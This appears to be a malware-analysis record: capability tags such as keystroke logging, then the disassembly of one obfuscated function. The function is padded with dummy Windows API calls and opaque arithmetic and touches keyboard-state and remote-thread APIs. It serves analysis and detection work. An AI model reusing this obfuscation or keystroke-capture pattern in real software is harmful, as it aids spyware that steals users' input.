Function at 0x10003c40
Capabilities:
Connect pipe
Create directory
Create thread
Get common file path
Get disk information
Get disk size
Get keyboard layout
Get system information on windows
Identify system language via api
Log keystrokes
Log keystrokes via polling
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
cmp dword [0x1003fb04], 0x4d662ae5
jne 0x10003e48
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
call dword [sym.imp.USER32.dll_GetTopWindow]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
call dword [sym.imp.USER32.dll_DdeDisconnect]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplaySettingsExW]
push 0
push 0
call dword [sym.imp.USER32.dll_EqualRect]
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindowAsync]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleHistoryInfo]
call dword [sym.imp.USER32.dll_GetActiveWindow]
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileById]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeNumberFromHandle]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
push 0
push 0
call dword [sym.imp.USER32.dll_RegisterPointerInputTarget]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0
push 0
call dword [sym.imp.USER32.dll_GetAncestor]
push 0
call dword [sym.imp.USER32.dll_UnloadKeyboardLayout]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
push 0
push 0x10069d10
call dword [sym.imp.KERNEL32.dll_ResolveLocaleName]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push 0x10069d38
call dword [sym.imp.KERNEL32.dll_IsValidLocaleName]
push 0
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiberEx]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push 0
call dword [sym.imp.KERNEL32.dll_GetPhysicallyInstalledSystemMemory]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateBoundaryDescriptorW]
push 0x11d
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 4
shl ecx, 5
mov edx, dword [0x10060668]
mov dword [edx + ecx], eax
mov dword [ebp - 0x20], 0x1454
mov eax, 4
shl eax, 5
mov ecx, 4
imul edx, ecx, 0
mov ecx, dword [0x10060668]
mov eax, dword [ecx + eax]
mov dword [edx + eax], 0xdc2ffe50
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x34], 0
jmp 0x10003eb6
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0x34
jge 0x10003ec7
mov eax, dword [ebp - 0x2c]
sub eax, 8
mov dword [ebp - 0x2c], eax
jmp 0x10003ead
mov ecx, dword [ebp - 0x20]
sub ecx, 0x1eb6
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], 0
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], 0
mov eax, 4
shl eax, 5
mov ecx, 4
shl ecx, 0
mov edx, dword [0x10060668]
mov eax, dword [edx + eax]
mov dword [ecx + eax], 0xd9d701bb
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], 0x1841
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x50], 0
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], 0
jmp 0x10003f4e
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], 0x2a
jge 0x10003f5f
mov eax, dword [ebp - 0x28]
add eax, 5
mov dword [ebp - 0x28], eax
jmp 0x10003f45
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x1d8d
mov dword [ebp - 0x20], edx
mov eax, 4
shl eax, 5
mov ecx, 4
shl ecx, 1
mov edx, dword [0x10060668]
mov eax, dword [edx + eax]
mov dword [ecx + eax], 0x5391fb6c
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x50]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x25c6
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x24]
add eax, 0xda2
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 0x121a
mov dword [ebp - 0x30], ecx
mov edx, 4
shl edx, 5
mov eax, 4
imul ecx, eax, 3
mov eax, dword [0x10060668]
mov edx, dword [eax + edx]
mov dword [ecx + edx], 0x5a491010
mov eax, dword [ebp - 0x20]
sub eax, 0x200b
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x30]
sub edx, 0x1e5a
mov dword [ebp - 0x30], edx
cmp dword [0x1003fb04], 0x4d662ae5
jne 0x10004202
xor eax, eax
xor edx, edx
xor esi, esi
xor edi, edi
xor ecx, ecx
push ebx
mov ebx, edi
lock cmpxchg8b qword [esi]
mov edi, ebx
pop ebx
push 0
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiberEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetScrollRange]
push 0
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
call dword [sym.imp.USER32.dll_GetParent]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTimeEx]
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultDllDirectories]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetGUIThreadInfo]
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplaySettingsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DdeAddData]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityUpdateMode]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnableScrollBar]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEventWhenCallbackReturns]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0xf86
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
sub eax, 0x25e0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0x24dc
mov dword [ebp - 0x18], 0x1c0f
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
sub edx, 0x1f56
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
add ecx, 0x15ad
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], 0x2ce
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
add eax, 0x175f
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x13
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100042a9
mov edx, dword [ebp - 4]
sub edx, 0x1cb4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x1abc
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1434
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xffb
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 0x1ad0
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x728
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
sub edx, 0x1d88
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10004312
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x100042f8
mov eax, dword [ebp - 0x1c]
add eax, 0xa
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x3c], 0
jmp 0x10004336
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 0x3e
jge 0x10004347
mov eax, dword [ebp - 0x18]
add eax, 3
mov dword [ebp - 0x18], eax
jmp 0x1000432d
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x2136
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x22aa
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x2242
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x1e49
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
sub eax, 0x254f
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x9df
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
sub edx, 0x99d
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x40], 0
jmp 0x10004444
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], 0x33
jge 0x10004455
mov edx, dword [ebp - 8]
add edx, 6
mov dword [ebp - 8], edx
jmp 0x1000443b
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x1487
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10004496
cmp dword [ebp - 0x18], 0
jle 0x10004496
mov edx, dword [ebp - 0x18]
add edx, 0x54b
mov dword [ebp - 0x18], edx
jmp 0x100044a1
mov eax, dword [ebp - 0x18]
sub eax, 0x54b
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x18]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x78d
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x161c
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x2108
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0xb11
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0xd52
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x18
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x264
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x1fd9
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
sub eax, 0x165a
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10004560
cmp dword [ebp - 0xc], 0
jle 0x10004560
mov edx, dword [ebp - 0xc]
sub edx, 0x1114
mov dword [ebp - 0xc], edx
jmp 0x1000456b
mov eax, dword [ebp - 0xc]
add eax, 0x1114
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0xa12
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10004591
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x10004577
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x24f5
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x24ec
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
and edx, 0x80000001
jns 0x100045d0
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x100045df
mov eax, dword [ebp - 0x18]
sub eax, 0xfb2
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
sub ecx, 0xa7d
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, 0x2357
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x1fc6
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
sub eax, 0x26d6
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x826
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
and edx, 0x80000003
jns 0x10004656
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x10004667
mov eax, dword [ebp - 8]
sub eax, 0x1f8f
mov dword [ebp - 8], eax
jmp 0x10004673
mov ecx, dword [ebp - 8]
add ecx, 0x1f8f
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x1586
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x4de
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
add edx, 0x29c
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
add eax, 0x16e5
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x2314
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
and eax, 0x80000003
jns 0x100046cf
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x100046e7
cmp dword [ebp - 8], 0
jle 0x100046e7
mov ecx, dword [ebp - 8]
add ecx, 0x2124
mov dword [ebp - 8], ecx
jmp 0x100046f3
mov edx, dword [ebp - 8]
sub edx, 0x2124
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10004716
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x100046fc
mov eax, dword [ebp - 0x1c]
add eax, 3
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x2066
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, 0x1d10
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
add eax, 0x537
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x44], 0
jmp 0x1000475d
mov edx, dword [ebp - 0x44]
add edx, 1
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 0x15
jge 0x1000476e
mov eax, dword [ebp - 4]
sub eax, 9
mov dword [ebp - 4], eax
jmp 0x10004754
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov dword [ebp - 0x48], 0
jmp 0x100047ad
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x24
jge 0x100047be
mov ecx, dword [ebp - 8]
sub ecx, 5
mov dword [ebp - 8], ecx
jmp 0x100047a4
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
sub eax, 0x6a4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x2434
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
sub edx, 0x17f1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x44a
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x355
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
add eax, 0x633
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x4c], 0
jmp 0x10004824
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], 0x40
jge 0x10004835
mov edx, dword [ebp - 0x10]
sub edx, 5
mov dword [ebp - 0x10], edx
jmp 0x1000481b
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x729
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
add edx, 0x1dba
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, 0x1272
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 0x8ff
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xdad
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
add eax, 0x193e
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x11b1
mov dword [ebp - 0x10], ecx
mov edx, 4
imul eax, edx, 0xaa
mov ecx, dword [0x10060668]
mov edx, dword [ebp - 0x1c]
mov dword [ecx + eax], edx
mov eax, 4
shl eax, 5
mov ecx, 4
shl ecx, 1
mov edx, dword [0x10060668]
mov eax, dword [edx + eax]
mov ecx, dword [eax + ecx]
add ecx, 0xc7845
mov edx, 4
shl edx, 5
mov eax, 4
shl eax, 1
mov esi, dword [0x10060668]
mov edx, dword [esi + edx]
mov dword [eax + edx], ecx
cmp dword [0x1003fb04], 0x4d662ae5
jne 0x10004b6d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToAscii]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnterSynchronizationBarrier]
push 0
call dword [sym.imp.KERNEL32.dll_PowerCreateRequest]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedPushListSListEx]
push 0
push 0
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
push 0
push 0x10069da4
push 0x10069dc8
push 0
call dword [sym.imp.KERNEL32.dll_NotifyUILanguageChange]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateWindowStationW]
call dword [sym.imp.USER32.dll_AnyPopup]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetUpdatedClipboardFormats]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleDisplayMode]
push 0
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ReuseDDElParam]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPreferredUILanguages]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0
push 0
call dword [sym.imp.USER32.dll_ChangeClipboardChain]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPreferredUILanguages]
push 0
call dword [sym.imp.USER32.dll_IsWindowUnicode]
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateIconFromResource]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetupComm]
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowPlacement]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x54], eax
push 0
mov ecx, dword [ebp - 0x54]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_OpenDesktopW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
